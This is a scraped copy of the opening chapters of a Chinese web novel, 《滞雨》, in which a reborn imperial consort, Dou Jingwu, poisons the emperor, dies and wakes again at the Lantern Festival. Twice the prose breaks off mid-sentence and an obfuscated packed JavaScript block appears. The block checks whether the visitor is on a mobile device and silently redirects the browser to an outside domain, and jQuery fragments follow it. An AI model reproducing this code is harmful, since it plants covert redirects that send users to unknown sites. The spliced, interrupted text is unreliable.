《滞雨》
1. 苦海渡
“窦净梧!”
殿中人无力地声嘶着,绝望如潮水自心底涌上将他重重包裹,愈发强烈的窒息感像是勾魂摄魄的女魅侵蚀脑中残余思想,眼前一片暗色。
“我期待与你地下相逢。”
女声涩哑绵长,伴随着金属重力撞击地板的脆声响起,金丝楠木制的殿门向外咯吱打开,恍惚射入殿内的光晕夹杂着风雪拂来。
窦净梧面无表情地望着前方,发髻上零星接下几点微不可察的斑白,倏忽相融。
该去哪呢?
她现在该去哪?在生命最后得以以时间为名流逝的光景里,何去何从?
寒风吹彻着她肩上青帔于风中摇曳,须臾,卷入漫天飞雪翩然起舞,流光如似朵初绽的花苞,生命、青春都可以用来形容它,世间一切美好仿佛都是用以描绘它而存在的。
窦净梧不同。
她悄无声息地来到这个世界上,不被人所期,消亡时也应是只留一地霜白不染半点世俗气。
骨子里的毒被四肢百骸侵入的寒气激发了,好似某些动物遇到了天敌,为了活命只能殊死一搏。
它正在沸腾。
热意肆无忌惮的灼烧着窦净梧,仿若千万只蚁虫游走在其四肢百骸,刺痒无比。
她无知无觉走着,死寂的四周入眼俱是一片白茫的海,沉沉浮浮,不论怎么挣扎,与它相融是既定的宿命。
不记得是怎么走到宫门前的,只知在一步之遥时窦净梧终是疲累地倒下了。
鲜血从嘴中流出,沿着领子淌到了心口。
本该无知无觉的她,做梦般听到了一声久违的“阿莹”——莹如晶石光洁透亮似乎很是美好。
可惜,她已不曾记得这位名唤莹的小娘子是谁了……
逐渐回暖的思绪,一梦惊醒,云雾初开。
17岁、窦净梧,这两个词很难想象,一切因果的源头。
那时她怀着恨意踏上了这趟复仇的旅程,后来却好像什么都忘了,再不知生之意义,瞳中只有瀑布似的血红不停潺潺流淌。
她原本只想要那些奸佞付出代价,偏到了末尾一个个都死了。
仇人、爱人,无一幸免。
一幕血色恍如倒带,映放在窦净梧脑海里,她看着那些人惨死的模样,心里却如沾满血腥时麻木。
这般想着,手持书卷的胳膊恍惚间蹭上了身前滚烫的暖炉,如玉的脸上却不见丝毫裂痕。
她仿佛不知疼痛仍旧垂目观书,撩起衣袖时那漫不经心的一瞥,就好像烫伤的不是她的胳膊。
冬日里,大明宫静得像是墙上只用观赏而装裱的一幅画,随处响起的脚步声如若放大数倍传入其耳。
目光不经意瞥向门口,绯红的袍角入目,窦净梧了然回神继续观书。
“奴婢拜见昭仪。”
门框外内侍阴柔尖耳的声音响起:“圣人命您稍后去紫宸殿。”说到此内侍原就细如蚊蝇的声音,不时颤了起来。
内侍并非怯懦,一直垂目立在门前也不过是这位窦昭仪的名声早就传遍宫中各处,乃至响彻整个长安。
“怎么,如今他李剑秋连封诏书也懒得下了?”窦净梧对于内侍的异样视若不见,嘴角噙着一抹冷笑,漫不经心地说着讥讽话语。
内侍深知李承祉让其此行目的,只是这活原先是另一个内侍的。
架不住昭仪窦氏为人实在可怖,比之当今圣人更是有过之无不及,来的内侍都生怕若是惹窦净梧不快会被她当场毙命,故而在众人推脱之下,他就成了那个被选出来的倒霉蛋。
传言,当今昭仪窦氏受尽恩宠,故而为人不忠不孝,脾气古怪,笑面不语杀人诛心。
初听到这些时,窦净梧赫然便笑了,眼底的不屑清晰可见。这就是她,甚至实际比传言还要不堪。
独独有一处他们却传错了。
她并非因受尽恩宠而如此,而是一生皆如此,随性不羁杀人如麻。
唯有殿外呼啸风声的片刻,内侍躬身低头不语片言。
这种时候,若是说错恐有性命之危,再细细想来,若是不语,只怕又落得个不敬之罪。
毕竟,窦净梧即使自身难保,杀他,仍旧要比捏死一只蚂蚁简单。
故而,语或不语,又何异?
窦净梧高高在上地坐着,余光中瞥见太监抖动不止的肩膀,唇角勾笑。她觉得极有趣,就好像昨日所观之弄戏今犹在目。
片刻,她终是起身神情阴鸷,冷然道:“回去复命吧,顺便带句话——”忽而停顿的嗓音拖长似含有珍宝,无尽诱惑,“我有一个惊喜,要给他。”
“喏。”太监行礼退却,心下那块顽石终是落了地。
待其离去后,这场命中注定的旅程似乎也到了即将结束的时刻。
为此,窦净梧特地庄重打扮了一番。
她这后半生过得如同笼中物,供人赏玩,可这被动远非她的性子,她只是突然不知余生还有何憾事可追。
从前是为复仇,现在呢?
踱步覆雪白皑的宫道中,窦净梧已然觉察不到冷了。
她头梳双鬟望仙髻,着橘红广袖襦、青帔、蓝紫间裙,画着时下最流行的柳叶眉,额间绘滴珠花子,眼尾斜红微垂。
寂静里,她双手交叉搭于腰线前,俨然一副端庄沉稳的模样。
从蓬莱殿到紫宸殿并不算太远,可窦净梧却觉走了一生那般漫长。她神色暗淡,便是早早注好的唇红,添在脸上亦无半分增益。
眼瞧着正前方不到百米的距离,伫立着一座大殿——她就死要了。
缓步踏着,眼前是不尽踏跺,再往上是站立在大殿前面无表情,着银甲,兵杖不离的宿卫。
身后,几不可闻的踩雪声随寒风簌簌消融,混杂着一道血色白影悄然隐匿,遍体鳞伤的身躯佝偻着,惨白的脸色像是随时都能迎风去。
凤眸呆滞,目不转睛地盯着款款踏入紫宸殿的窦净梧,身后是无尽蔓延的足迹,一如来时路。
“阿莹。”
-
内殿昏暗无光,明明大门紧闭却比那檐下三尺雪还要凉上几分。
窦净梧先是就着殿内四周肆意扫视了一番,目光在掠过一旁矮桌上放置的嵌珠金杯时,不屑地扬起了唇角。
映着金色余韵的水面波澜不惊,杯里是什么,她比任何人都清楚。
“怎么,你如今连宫规礼仪都忘了?”屏风后头传来几声细碎响动,男人声音浑厚,却处处透着冷漠,好似要将窦净梧置身冰窟。
她视若无睹,嚣张地坐到那放着酒杯的桌边,架起腿的同时仍不忘理了理裙腰褶皱,揶揄着拿起了杯子,目光落在荡漾水面:“刚认识我?”
织金青丝帐后,李承祉上半身裸露着倚坐床畔,半张脸于帐帘拂起的一角露出,明暗交界,晦涩狭长的眸子长矛般闪着寒光。
他起身和衣,有些不耐烦地向窦净梧踏去。
同时,他后方的织金青丝帐里再次传来异响,殊色朦胧,隐约可见一个人形,双目氤氲的女人从里探出半个身子,肤如凝玉。
未及开口,便被有所觉察的李承祉拿被子盖了回去。
这无声一盖,但凡有点脑子的人都知道是警告,正如接下来不论发生什么,她都只能装作不知,否则,他应不会介意亲自令其闭嘴。
不经意间一瞥,原本毫无兴趣的窦净梧恍惚觉着这女人的眉眼,有些像一个人。
“惊喜呢?”李承祉不动声色说着,愈发逼近。
窦净梧自顾自玩味笑着,起身扬手连续击合,姿态懒散地看他,高声道:“拿进来!”
随着殿门开启的咯吱声起,她与李承祉同时往声源方向望去。
寒风吹打在窦净梧的脸上,殿门大敞,一时之间咆哮的寒风如饥了三天三夜的野兽般全部涌入,好似这殿中藏了无数的珍馐美馔。
侍女端着一个金漆方盒进殿,她的目光却在这一瞬间凝固,被那大雪中一道瘦骨嶙峋的身影吸引。
她看不清他,就像是朦胧月色下一抹虚假的倒影,抑或梦中那个不可触及的人。
须臾,那白影好似发现她在看他,方抬首,一口鲜血猛地喷出,在这白茫茫的天地倾洒殆尽。
她眼睁睁看着他倒在了血泊之中,却始终未有半分动容。
与此同时,那个拿着所谓惊喜的人,早已伫立在殿中。
方方正正的金漆盒,足有两尺大。
窦净梧若无其事地转身,心中却不知为何忍不住去想方才,迎来的是殿门再一次地紧闭:“圣人打开看看?”
她的声音细而柔,无尽诱惑之中又似暗藏锋利。
李承祉凤眸微敛,将信将疑地朝她挑了一眼,拿起盒盖的刹那,世界仿佛静止。
他瞪大了双眸,全然不敢相信眼前所视之物,接踵而来是端盒人的惊叫。
宫女看着年纪不大,怕是这辈子也没见这么骇人的场面,当即什么也顾不上,下意识便将手中的盒子抛飞了出去。
待他反应过后,宫女已然满面泪痕。
宫女浑身哆嗦地跪在地板上深埋着头,好似魇了般,口中一直重复哭喊着这一句话:“圣人饶命,奴婢什么都不知道……”
李承祉神色古怪,双眼中是难以掩盖的肃杀之气。
那个头颅面部模糊不堪,可当他看到那对坠子时,脑海中开始不由自主地浮现出为她戴上时的情景。
“剑秋……”
女人看着眼前狠心的男人双目含泪,不停呼喊着他的名,神情无比绝望,没等到再一次开口,刺痛感便从腹部贯穿全身。
李承祉接住失血过多即将倒地的女人,紧拥在怀,只观表情仿佛动手的不曾是他。
“对不起……对不起……”
他涕泪横流,颤抖着拿出一对坠子:“对不起,你的出身让我注定无法娶你。况且,他人已然察觉你的存在。我不能有任何破绽。”
随着话语落幕,他神色逐渐回归平静,缓缓替她戴上了那对坠子,却仍旧佯装深情地拂了她的眼。
“你不知道,世人将我生母视为妖妃,为了活着很多事我不得不做。”他瞳孔之中似暗藏可怖凶兽,戾气尽现。
回忆抽丝剥茧,最终也只不过是他为了一己私利残害他人的证据。
长剑出鞘,径直划过宫女纤细的颈项,随着一道深痕展露,扑通一声倒在了冰冷地板上。
窦净梧抬手覆面,除掌心挡住的左眼外全身溅满了大大小小的红珠子,指缝间露出的眼眸血丝密布,里面竟真如传闻中那般,映有重瞳。
她垂手冰冷地看着掌背血渍,不以为意地从袖中抽出一方巾帕擦净,朝方才滚进角落的惊喜闲庭信步踏去,唇角邪魅勾着,不经意斜向李承祉的目光充满神秘色彩。
窦净梧单手提起那颗不知名的头颅,倏地,那方饮鲜血的长剑,直直顶在了她的喉间,划破表皮,不断往外溢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755173|157682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
血。
看着李承祉这般痛苦模样,她似乎仍是不甚满意,阴恻的双眸中闪着兴奋的寒光,如昙花盛开徐徐绽放。
“怎么,你今日唤我来难道不就是为了杀我吗?”窦净梧言语挑衅,语气更是有点惋惜李承祉没有立即杀死她。
事已至此他莫不是还在装情深?真是可惜呢。
一直自以为是将猎物紧紧困住的猎人,岂知,他才是那个猎物。
“我一直很想问问,你当时杀她……什么感觉?”窦净梧脖子往前凑了凑,整个人呈现一种极致癫狂的状态,就像是来自地狱的恶鬼。
似是有些意外,李承祉眼看着她凑近,手中剑猝不及防地往后收了一下。
明明恨不得立刻杀了这个女人,可在那一瞬间身体仿若提线木偶,而那出戏则不在提前写好的剧本内。
看着手中剑抖得溃不成军,他戾气更甚,重重地叹了口气,最后干脆直接将剑甩至一旁,冷冷道:“你究竟想如何?”
如何?
窦净梧忽觉可笑万分,揶揄道:“莫非……令我来的不是你?”
殿中一阵沉默。
她嘴角噙着一抹狞笑,慢悠悠地朝李承祉走了过去。
当手搭在了那宽大厚实的肩头时,一道残影划过,他的脖颈间开始染上大片血红。
直到窦净梧将“抬手、拔簪”等动作一气呵成,李承祉这才意识到自己负伤,仅凭着感觉,他朝着颈上刺痛的地方摸去。
他无力半跪,一手撑地一手紧捂伤口。
窦净梧则一如既往地漫不经心,半蹲下身子倾近,语气玩味地拿着那根染血金簪在他眼前一晃而过:“忘了说,这簪子淬了剧毒。”
整个殿内陡然静如秋水,波澜俱无,唯有一地的脚步和声声疯笑。
不知何时,窦净梧拿走了桌上的酒杯。
她不屑一顾地径自走向大门,待杯中酒一饮而尽,她展开右臂倒拿杯身斜了李承祉一眼,其中意不言自明。
动静实在是太大了,躲在屏风后的女人吓得只着一身单薄里衣,到头来竟不知是冻的还是吓的,手抓在屏风边,只露出一双惊恐的眼,浑身抖地跟筛糠似的。
窦净梧于门口顿了步子,外面宿卫仍旧毫无表情,似乎还未发现异样般一动不动。
真是奇怪啊,怎么就会没有反应呢?待稍近些后,窦净梧立马就明白了问题所在。
原是这宿卫早就被人割了喉,只是头颅和脖颈处被人用一根极细的银丝连接,风霜迷眼,这才使得人错辨,以为此人还活着。
到底是苟延残喘,若是从前这般距离,她早就该意识到此人毫无气息。只是眼下这个情况不免又麻烦了些。
这个手段,窦净梧从前只在一处见过——
崖中时因为顾逢青之事她杀遍了前崖各处,那时前崖主使的就是这手段。只是,前崖主早已是剑下鬼,如何能再来这杀人?
窦净梧眼中顿时蓄满杀意,咬牙切齿道:“真是死都不让我安生啊!”
她侧身向殿内四下张望,冰冷如刃的眸光先是划过了那女人,流泻出丝丝不屑后转瞬即逝,继而看向倒地不起,已是强弩之末的李承祉。
他像是不舍这人世繁华虚无,还死抓着窦净梧适才扔下的那支簪子不愿撒手。
瞧见李承祉如今意识迷离,痛不欲生只能老实等死的模样,她唇角轻扯,快步过去蹲下捡起了那肮脏不已的剑。
正待窦净梧起身,那女人却不知死活地与她对上了目光,吓得差点就尖叫出声,可是她连施舍一眼都未有,嫌恶地拖着剑出殿去。
女人提心吊胆,眼睁睁看着窦净梧在地板上划下一道道痕迹,刺啦刺啦得像是在她心上割肉一样,却不敢有一丝声响。
唯恐窦净梧再转身顺手把自己也杀了。
直到确认她彻底不在后,女人这才匆忙穿好衣裳奔至李承祉旁边哭了起来,假到连死到临头的他都嫌弃不已,干脆将人推开。
李承祉望向早已没了窦净梧身影的雪地。
他原本该憎恨的,可是这仅余的思绪却在纠结她为什么还要喝那杯毒酒,明明他已经快死了,根本无法再对她做什么。
窦净梧仅是凭着她那些手段,待他死后,便是临朝称制也易如反掌。
她究竟为何这般想死?
这会女人终是想起来去叫人,偏偏刚一冲到门口,她就看到宿卫跟个木头人似的站着。
方才因窦净梧憋了一肚子的气,女人眼看当场就要爆发,谁知咔嚓咔嚓的声音突然就如戛玉敲冰,惊得人一激灵。
身后的风也似看热闹不嫌大的,响起一阵呜呜声跟着起哄,吓得女人起了一身鸡皮疙瘩,有意无意地就往后边看。
不会是窦净梧又回来了吧,女人哆嗦着暗自腹诽。
白色身影从眼前闪过恍若做梦一般,那熟悉的声音却又清脆坠地,女人再回看便被吓得连滚带爬。
但见刚刚还似木头的宿卫不知何时没了头,而远处地上,层薄霜雪下好似有一个圆状物,带着斑驳红色。
风雪愈演愈烈,窦净梧躺在积雪里深陷,寒风席卷着她的面颊,一只沾满鲜血的骨节不知何时攀上了其臂膀。
她感觉不到,那人却死死抓着生怕其会逃走,直到最后她也没有余力看清这个人究竟是谁。
暮色苍茫的大明宫里恍惚间充斥嘈杂人声,眼前白皑的霜雪似也融成了朱雀街前万家灯火,长照不熄。
2. 桎梏
太初四载正月十五,钟鸣大作是为子正已至,新日伊始万物复苏,神鬼出,天灯燃,遂金吾不禁,燃放灯三宿,普天同庆。
城门之上,群臣与君共观,底下恢宏盛大的朱雀街头人潮如织。
皎洁月光映照屋瓦,浅淡的云层退去,人头攒动其间好比悬挂苍穹的星辰,一闪一闪地发着光热。
三三两两的百姓手举天灯,高过头顶,待锣鼓声响起,击鼓人报时,桥梁之上不计其数的明灯开始飞向天际。
星罗棋布的天空映满明灯三千,幕布似的夜色亦如火烧般亮了起来。
围栏前,圣人居于皇后崔氏与太子李玄晔间,此刻正和皇后谈笑风生,便是空当也只同身侧的大臣言语。
明眼人皆知,他只将李玄晔视作是一缕烟尘。
李玄晔也是一副熟视无睹的态度,独自站在转角,望下方浩渺出神,无人所觉时眼中竟闪过一丝复杂。
旁后卫榀畬见状不由同往。
这位太子殿下,日常不论大小事皆一副事不关己的模样,现在难得有了一点人样,他可不容错过。
只见街边檐前彩灯无数绕悬木仗之上,串起的灯链,在屋与屋间铺织成一张张散落的巨网。
游行的车马正缓慢行进在主大街中央,台上杂耍艺人兴高采烈地表演着他们引以为傲的技艺,车周身缠满宛若绸缎似的灯带。
道路旁人们站在一起欢腾起舞,个挤个的动作都伸展不开,却丝毫不影响他们对于这一年一度终于到来的节日的热情。
“怎么?”男声困惑地从身边响起,未及落入她耳就泯灭于鼎沸人声中。
窦净梧感到身后有一股力,抽丝剥茧地拉着,霎时,灵魂仿佛游荡了出来,半推半就直至时间静止。
她迎着夺目流光,望向远处阴影中的那个轮廓,心下惊疑,不时掀起一番往昔纠葛。
是谁?
忽明忽暗的光亮映在男人身上,大半个身子隐没在暗处,窦净梧仅凭一丝熟悉的感觉认出,那个如深渊裂缝一样存在的人。
她不清楚他怀着怎样的目的接近,只知朦胧江岸总有一个戴着黑金色面具,仿佛无所渴求的人在等着她。
曾经难熬的漫漫长夜是他一直陪着窦净梧,直至身消魂灭,再无一人如他这般。
“你我有关系?”窦净梧斜了一眼男子,淡淡回应,目光却逐渐阴郁狠辣。
那个白影到底是谁,临死前的突然出现似乎并非巧合。
一切会否与他有关呢?
窦净梧敛眸,一闪而逝的恨意仿若一把利刃将人拆骨入腹。她从不是会好奇的人,至于现在,不过是想弄死那个白影。
她本愿与世长辞,魂入十八层炼狱,为何要重历一次曾经苦痛,还是卡在这么个不上不下的时间点?
退路已无。
她咬紧牙关,努力装出一副若无其事的表情向男子看去。
自从在李承祉登基后,她与之撕破脸,当真是许久未曾装模作样了,乃至现在竟有些难掩恶人本色。
入目,男子穿着件乌金色翻领领袍,头上……他并没有戴记忆中的那个面具,而是套了个白面娃娃的头套。
“你……”他不是那个人!
脑海里记忆一闪而过,窦净梧虽未目睹此人容貌,但她心里清楚现在这个时间点距离开崖中已经四个月有余。
那个人已经死了四个月,难不成会诈尸?
她并不认为那人还有生还的可能性,当时虽事出意外,却不乏有人为了那位子蓄意谋划。
窦净梧即问了是否有苦衷,便是打算给他一次机会,偏他执迷不悟誓要埋藏真相,她也就只能如他所愿,给一个痛快。
还没说出口的话潸然吞了回去,眼见,人群开始如饿犬一样蜂拥起来,窦净梧与男子瞬间便被冲散两地。
她不掩嫌恶地看着这些人,在稳住脚步的同时,朝着他们涌去的方向瞥去。
西南方,那里是……时隔数载如今重来已全然不记当时情景,思来想去,那个方向也不是游行队伍要去的。
窦净梧暗自喃喃,“他们到底在干什么?”
眼看她愈发遥远,男子似乎也开始有些着急,取下那白面娃娃头套随手就抛在一处,露出银冠高束的乌发,覆面的黑金色铁面寒芒闪耀。
他目光如炬地望向她,不顾人潮奔涌,拼尽全力突破重重阻碍奔至窦净梧跟前。
抓住她手的刹那,轰隆声起,空中骤然炸开一团如秋菊似的烟火,片片花瓣正以迅雷之势,凋零向下坠落。
同时,他们的目光都被这始料未及的动静吸引了。
城门上,众人欢欣鼓掌,只卫榀畬觉得街上人群拥堵,恐生事端,偏回神想与李玄晔商讨之际,人却渺无影踪。
忽见一男子虽脸覆假面,所穿衣裳却不普通。
他一眼便觉似曾相识,唯碍于合理性,还未成熟的想法当即就被他扼杀于萌芽之初。
以防脑子再不受控胡思乱想,卫榀畬立即就带着人往大街上去巡逻、护卫。
-
窦净梧无暇顾及被男子拉着的手,心中感觉怪异地想着“仅仅是烟火”?
这边的人流已然都围向了刚刚那个方向,四周空阔不少。她思索,现在应是离开的最好时机。
眼前的这个男子在窦净梧过往里从未有过,经由他方才种种所为,俩人似乎又很是熟悉?
至少以他的角度看,是这般无疑。
为了不打草惊蛇,窦净梧打算继续陪他演下去,静观其变,说不准会有意外之喜。
思绪收拢,她仅瞥了眼身侧的男子就又出了新动静。
眼见烟火下方升起一座圆形高台,沿边缘摆满了花束,少女着一袭橘红翠蓝交映的舞裙,眉目如画,绕高台起上元舞,一频一动刚柔并济宛若画中仙。
是她。
窦净梧眼皮漫不经心地转眨几下,彻底看清少女面容后,唇角邪佞勾起,眸光转动,再未回看。
“走吧。”她冰冷的声音中尽是不胜其烦。
窦净梧闲庭信步地走在前方,路过一个卖花灯的摊贩时,余光频频回望,仿佛内心正纠结要不要停下。
片刻,一只莲花形状的粉色河灯递入视线,她淡淡笑起,读懂了其中意味,毫不客气地接下,朝最近的河道走去。
明如镜面的河道里,流放着盏盏寄托祈愿的花灯,它们如火如荼地灼烧着河面,让这冰冷不破的脸上生满疮痍。
窦净梧俯下身半蹲着,先是将伸向河面的那只衣袖轻挽起,一阵几不可察的涟漪泛起微澜,河灯就此递送了出去。
她起身后,双手合十,神色虔诚如痴迷佛的教徒一样,即便她目睹身边人宛若冻僵的冰雕,无动于衷。
“你在想什么?”
窦净梧祈愿完毕,饶有兴致地看向男子,那目光就如将要猎食的豺狼观察猎物的一举一动般有趣。
男子没有看她,眸光淡淡好似心不在焉:“我以为你不会信这些。”他的神情过于认真了。
窦净梧却意外的兴味盎然,连她自己也没料到会这般。但对于一向以玩弄他人为乐的她而言,一切又似乎十分合理。
一朝倒霉重来,曾经血泪付诸东流,原因却仅仅只是连存在与否都有待确定的白影?
接受重生的这个事实后,她回想起,毒发后的眼前如似走马灯一样,尽数皆是幻象。所以这个白影为何有这扭转乾坤之力?
尚在开端,故事还未再次展开,命运之轮却或许早已在不觉中转动。
窦净梧突然好想笑,笑生来便是个弃子,笑天命不公,生死也不由她,不能死,只如行尸走肉,更笑她,心中竟有一丝清明。
她的眼眶泛着水润,埋下心底那压抑许久的情绪,冷静思忖。
这个曾不存在于记忆中的人,为何会如此了解自己?且与那人戴着同样的面具,着相似衣袍,就连这身形也是似真若幻。
他的目的何在?
窦净梧假意不觉,同样一本正经地答道:“我确实不信。”
方踏上台阶走向远方,她忽然又回眸,漫不经心之中暗夹苦涩:“人生在世总得有个念想,不然与行尸走肉何异?”
说是这么说,可当话真正出口时,连她也不由暗自苦笑。
四周的欢愉仿佛与他们隔绝,同处在一个世界,他觉得她好似是异类。可若不是如此,那一年茫茫人海,他为何偏偏看到了她?
她总是一副知书达理的模样,扬着浅浅的笑容,表面人畜无害。
实际上,她是会在无人角落露出如阴间鬼一样表情的怪物。
人前,替她获得无数赞许的琴,人后却成了沾满鲜血的白绫。
他其实一直在观察、研究着她,可惜他不是那人人厌恶的心底蛔虫,无法知晓她究竟在想什么。
“吃酒吗?”窦净梧不以为然的声音打破了骇人的心中鬼。
晚风轻拂而来,似若隐晦的爱恋偷偷藏匿,裹挟着那诱人的刺激,同时又不断警醒着世间人,不能轻易道出。
没等男子回应,窦净梧自作主张地拉着人就往平康坊跑。
他不知道她要去哪里,面对这突如其来的让人无措地举动,他心里只有愁绪万千。
男子清楚,他曾无数次幻想过这一幕,也明白自己就像饥渴的兽一样,当人类不断施舍食物,它将一次比一次贪婪,永不满足。
前方街市的人群逐渐多起来,窦净梧的脚步也随之渐缓,倏然,一道粗涩的男声将他们叫停。
匆匆一瞥,她看到男人座位旁竖立的旗帜,上面画着一个阴阳八卦图,外加下面一个名字。
“小娘子可要试试?很准的!”
面对道士的问题她面无表情,只道:“我知自己命数如何,就不劳烦先生了。”
对于她的一走了之,男人浅笑着,一副了然于胸的神情,好像他当真算到了这一幕。
桌上几枚铜钱凌乱摆放着,道士拢入掌心十指相扣,铜钱随着手中动作叮叮当当响个不停。
而后铜钱摔落桌面,发出沉闷响声。
看到卦相后,道士如若被污秽侵身一样,嘴巴里念念有词地重复着“怪哉”二字,接着又如所有世外高人那般,摸了两下长须。
“我知自己命数如何,就不劳烦先生了。”
道士脑海中突然浮现出窦净梧刚才的话,顷刻间,犹如开了灵智:“对上了,对上了!”他脸上闪着兴奋的喜悦,“她似她非她,对上了,都对上了。”
望着窦净梧消失的背影,道士的目光渐渐变得难以捉摸。
同旁,猜灯谜的摊贩前人满为患,忽然间响起一句“兰因絮果,现业谁深”。
鼓掌声霎时震耳欲聋,老板笑着恭喜,将一盏挂着风铃的灯笼递了出去,人头攒动,看不真切究竟是谁拿了。
不消片刻,一孩童手提灯笼,亦步亦趋地走出了人群,垂眸低看间,口中自言自语地说着些什么因啊果啊的。
道士被吸引,依稀听得:
“既是互为因果,相缠相连,何妨斩断?唯余己身,各自结局随各自,再无死路。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755174|157682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“到了。”窦净梧目光平静,眼前是繁锦高楼。
适逢上元,平康坊本就人满为患,此刻的红楼活像座人堆起的山峰,还没进去,无数遐想便随之弥散开来。
说起红楼,窦净梧也并非全然了解。
只知红楼是明元十三载时突然兴起的,共十三层,不仅受长安文人墨客喜爱,更是当今权贵趋之若鹜的地方。
这楼虽说名贵,可内里却非外头这般,它有个特别有趣的地方。
十三层每层不同,总涵盖了十二种商业且不论贵贱,其中最为有名的当数那七层玉香斋、九层万丈红、十一层景苑。
明明是十三层,为何说是十二种?
窦净梧初次到此时亦有不解,可后来她听闻这红楼有一楼主,其人神秘莫测、容颜绝世,却从未有人亲眼见过,这十三层便是他的居所。
由于崖中的规矩,就算是曾经她也从未到过那十三层,远远望去,那上面黑压压地围了一整圈侍卫,个个武功不俗,非一般人能入。
在外,楼下亦如此。
二人由小厮接引,款步入内,四周装饰富丽堂皇,简直堪比金库。
大堂周围了一圈的铁栏杆,工人则坐在里侧专门负责兑换银两,只因从这往里不远处便是京中有名的赌坊——金缕阁。
里头少不了因一丝侥幸心而输得倾家荡产的赌徒。
偏偏这种人最是不知悔改,如身陷黑沼泽,一旦再次尝到了点甜头,便又会义无反顾地冲进陷阱。
恰恰就入了这红楼楼主的套,让其赚得盆满钵满。
日积月累,这原先只是用以兑换抵押筹码之处,转眼间就成了长安响当当的放利所,又因利之低几近抢掉了朝廷的生意。
窦净梧二人乘坐云梯向上升去,在九层万丈红前停下。
这是一个专伺男人的地方,也是文人墨客卖弄风骚之所,常人口中所道的“青楼”。
当窦净梧面不改色地踏进去时,那老鸨不出意外地拦了去路。
“小娘子可知这是何处?”鸨母言辞轻慢,浓妆艳抹也盖不住的发皱皮肉,此刻正在她眼底胡乱蠕动,“你怕是来错地了。”
说完,鸨母甩甩手,一副怪异之色盯着她,眼看就要叫人来把她弄出去了。
窦净梧沉默着递出一锭金子,金光闪烁的瞬间,鸨母那布满褶子的双眼,亮得恍如夜里拾荒的野狗。
谄媚接过后,鸨母善变的嘴脸转眼就变得殷勤起来:“哎呀,小娘子是要来寻人,还是……”
窦净梧直接打断,嫌恶的眼神不加掩饰:“别来烦我。”说完,她先是往里走了几步,忽又回头厉声道,“你好好看清楚,我究竟是娘子还是郎君?”
似是早有来此的打算,窦净梧现在穿着一身竹青色圆领袍,头戴软脚幞头,蹀躞带之上又挂着个花鸟纹香囊球,面虽有男相俊秀,但身形毕竟摆在那。
莫说有心人一眼可辨,这鸨母阅男无数雌雄真假亦如杯中水,碗中食。
但她做的是赚钱的买卖,有钱送上门亦有不收之理?
当即,鸨母笑意吟吟,知情识趣的唤了窦净梧一声郎君,并嘱咐其吃好喝好,转眼又去接待他客了。
方进到里面,入目尽是男女抱团在一起的情景,或是饮酒调笑,或是弹曲品鉴诗画。
窦净梧视而不见,轻车熟路,径自走向一旁靠窗的雅间。
男子跟在她身后,虽冷着脸,心里却早已有万千念头划过:她为何偏偏来此吃酒?是真吃,还是另有目的?
他与窦净梧对立而席,桌上放着两瓶未开的新丰酒。
窦净梧拿起其中一瓶,拔出酒塞,分别倒入男子与自己的杯中后,再不管他作何事情,浅酌着扭头看向窗外,思绪放空。
男子轻扯唇,忽然与回首的她贴近,咫尺之隔,鼻息相汇间,她隐约闻到一股奇异的味道,仿佛曾经在哪闻到过。
“怎么,这般看着我,莫不是怕我不给钱跑了?”窦净梧用指尖挑起他的下巴,此时模样像极了醉鬼在调戏良家妇女。
他斜睨着她,脖颈仰得修长,喉头时不时滚动,目光里尽是寂寥。
“不是没有可能。”男子秉持着开玩笑的语气,但让听者却觉其中意味颇多。认真、坚定……,却唯独没有感到丝毫玩笑。
好似往昔,窦净梧曾数次偷走,然这话他亦早已烂熟于心?
她仿若不觉,勾唇笑着,双眸似毒蛇般犀利,自顾自地往口里灌酒,四周喧嚣,声音此起彼伏,可偏就是那么一声叹息,恍如惊雷坠入她耳。
她不知缘由,失陷过往,却清楚地知道,因为重来的这一次,曾经所有事情多少都会有些许偏差。
能重叠之前所发生的事,其概率只会是少之又少。
正如眼前这个男子,旧忆里虽从未出现却并不代表不存在,或许他只是换了另一种方式出现也未尝不可。
这是第一个偏差。
第一眼窦净梧错认于他,紧接着,她隐隐觉得他与那个白影有着不可分割的关系,或者就是他。
原还以为此行多少会费些心思,她甚至连在寻找人与重来真相的空隙要做什么都考虑好了。
岂料一切如此轻而易举,像极了镜花水月。她要真相、要报复杀人,目标直接就自投罗网?
窦净梧斜倚在窗台,红晕逐渐爬上面颊,余光中却瞥见,街上,车水马龙里有一黑色身影攒动其间,转瞬即逝。
惊疑刹那,她如醉方醒,心里不时自言自语,“若不是他提前回来,她几乎都快要忘了,现在的他还活着。”
3. 血祭碑
窦净梧骤然抽身离去,什么也没说,只留下桌上一枚银铤和满目冰冷的男子。
一路上她冷静从容,面上扬着笑,与这里的所有人都无二别,直到再次路过那摆满花束的圆台时,视线不由自主地就被台下那两道身影勾去。
叶馥蕊早已不在台上,成双进入后台的男女却格外似她认识的两个故人,只是现在,她没有时间去深究这些与她无关的事。
窦净梧离开了喧嚣繁华的闹市,路到深处曲径通幽,一条昏暗的羊肠小道上,一抹玫金色身影越走越快,像是飘在云层上。
许是因太多情绪充斥五脏六腑,以致平时多疑的她,全然没有去想,就这么突然离开,那人会如何想。
直至穿过一片黑暗与虚无,前路逐渐清晰。
-
荒山四季枯败,从未逢青。
